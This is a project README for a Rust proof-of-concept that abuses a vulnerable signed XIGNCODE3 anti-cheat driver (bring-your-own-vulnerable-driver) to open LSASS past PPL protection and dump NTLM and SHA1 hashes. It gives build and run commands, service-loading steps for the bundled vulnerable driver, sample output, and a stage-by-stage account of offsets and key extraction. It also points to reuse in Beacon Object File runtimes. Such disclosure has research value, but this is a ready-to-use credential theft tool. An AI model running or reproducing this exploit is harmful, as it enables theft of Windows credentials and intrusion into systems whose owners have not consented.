Rust implementation of the LSASS credential dump primitive against xhunter1.sys (XIGNCODE3 anti-cheat). Uses command 785 to obtain a PPL-bypassing PROCESS_ALL_ACCESS handle via ObOpenObjectByPointer with AccessMode=KernelMode and no OBJ_KERNEL_HANDLE, then walks LSA crypto material and decrypts the LogonSessionList. Modules: - driver: Xhunter / Session wrappers + MemReader trait - proc: PID lookup + PEB-walk remote module discovery - pe: local PE parsing and pattern scan helpers - lsa: LSA key pattern table + BCrypt key extraction + 3DES - logon: LogonSessionList walker + MSV1_0 offsets - wdigest: WDigest credential list walker (best-effort) - sys: OS build number Affected driver bundled: xhunter1.sys 10.0.10011.16384 SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
5.6 KiB
CredsHunter
LSASS credential dump proof-of-concept for a PPL-bypassing process-handle leak in Wellbia's XIGNCODE3 anti-cheat driver, xhunter1.sys.
The driver exposes an IRP_MJ_WRITE command interface that calls ObOpenObjectByPointer with AccessMode = KernelMode and without OBJ_KERNEL_HANDLE, dropping a kernel-minted PROCESS_ALL_ACCESS handle straight into the caller's handle table. From there, standard credential-dumping code reads lsasrv.dll's 3DES key out of the target and recovers NTLM + SHA1 hashes for every active logon session.
Affected binary
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
The vulnerable signed driver is included in this repo (xhunter1.sys) so the exploit is reproducible end-to-end. Verify the hash before loading:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
Newer XIGNCODE3 releases are patched. The vulnerable signed binary remains usable as a BYOVD primitive on any host where it can be dropped and loaded.
Build
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
The release binary is placed at target\release\CredsHunter.exe.
Run
Load the bundled driver as a kernel service (the driver's device DACL allows any caller once it's running):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
Run the tool:
.\target\release\CredsHunter.exe
To clean up afterwards:
sc stop xhunter
sc delete xhunter
The default device name is \\.\xhunter (matching the example service name above). If your service uses a different name, the device path will follow it — edit driver::DEFAULT_DEVICE or call Xhunter::open_named accordingly.
Sample output
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
How it works
| Stage | Component | What happens |
|---|---|---|
| 1 | driver.rs → Xhunter::open |
CreateFile("\\.\\xhunter") — no auth on the device |
| 2 | driver.rs → Xhunter::open_process |
WriteFile with command 785 (PID, PROCESS_ALL_ACCESS). Driver calls ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) and writes the handle back to the user's response buffer at +0x10. The handle bypasses PPL because AccessMode = KernelMode skips the access check, and it lands in our handle table because OBJ_KERNEL_HANDLE is not set. |
| 3 | driver.rs → Session::attach |
Probes ReadProcessMemory against the kernel-minted handle. Falls back to driver command 787 (KeStackAttachProcess + memcpy) if RPM is blocked. |
| 4 | lsa.rs |
Pattern-scans local lsasrv.dll's .text to recover RIP-relative pointers to the AES key, 3DES key, and IV inside LsaInitializeProtectedMemory. Rebases those VAs onto the target's mapping, walks BCRYPT_HANDLE_KEY → BCRYPT_KEY81, and pulls the raw 3DES bytes out of the target. |
| 5 | logon.rs |
Walks LogonSessionList (per-build sig table). Each entry's primary credential at +credentials → +0x10 → +0x30 holds a 0x1B0-byte 3DES-encrypted blob. bcrypt.dll decrypts it; bytes 70..86 are the NT hash, 102..122 are the SHA1. |
Project layout
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
The MemReader trait abstracts memory reads so the credential-extraction modules don't depend on the specific driver primitive. Implement the trait on a different reader (e.g. a Beacon Object File runtime, a ptwalk-based phys-mem reader) and the lsa / logon / wdigest modules drop in unchanged.
Known limitations
- WDigest plaintext recovery is best-effort. The list-head signature is a single byte pattern (
48 3B D9 74) inherited from the original public PoC and has not been refreshed for Windows 11 build 26100+. Building this out into a per-build table is straightforward; PRs welcome. - Service / device name is hardcoded to
xhunter. If you load the driver under a different name, editdriver::DEFAULT_DEVICEor pass an override toXhunter::open_named.
Disclaimer
For research, authorised testing, and defensive tooling only. Loading the vulnerable driver on a system you do not own or have explicit permission to test is a crime in most jurisdictions. The author accepts no responsibility for misuse.
License
See LICENSE.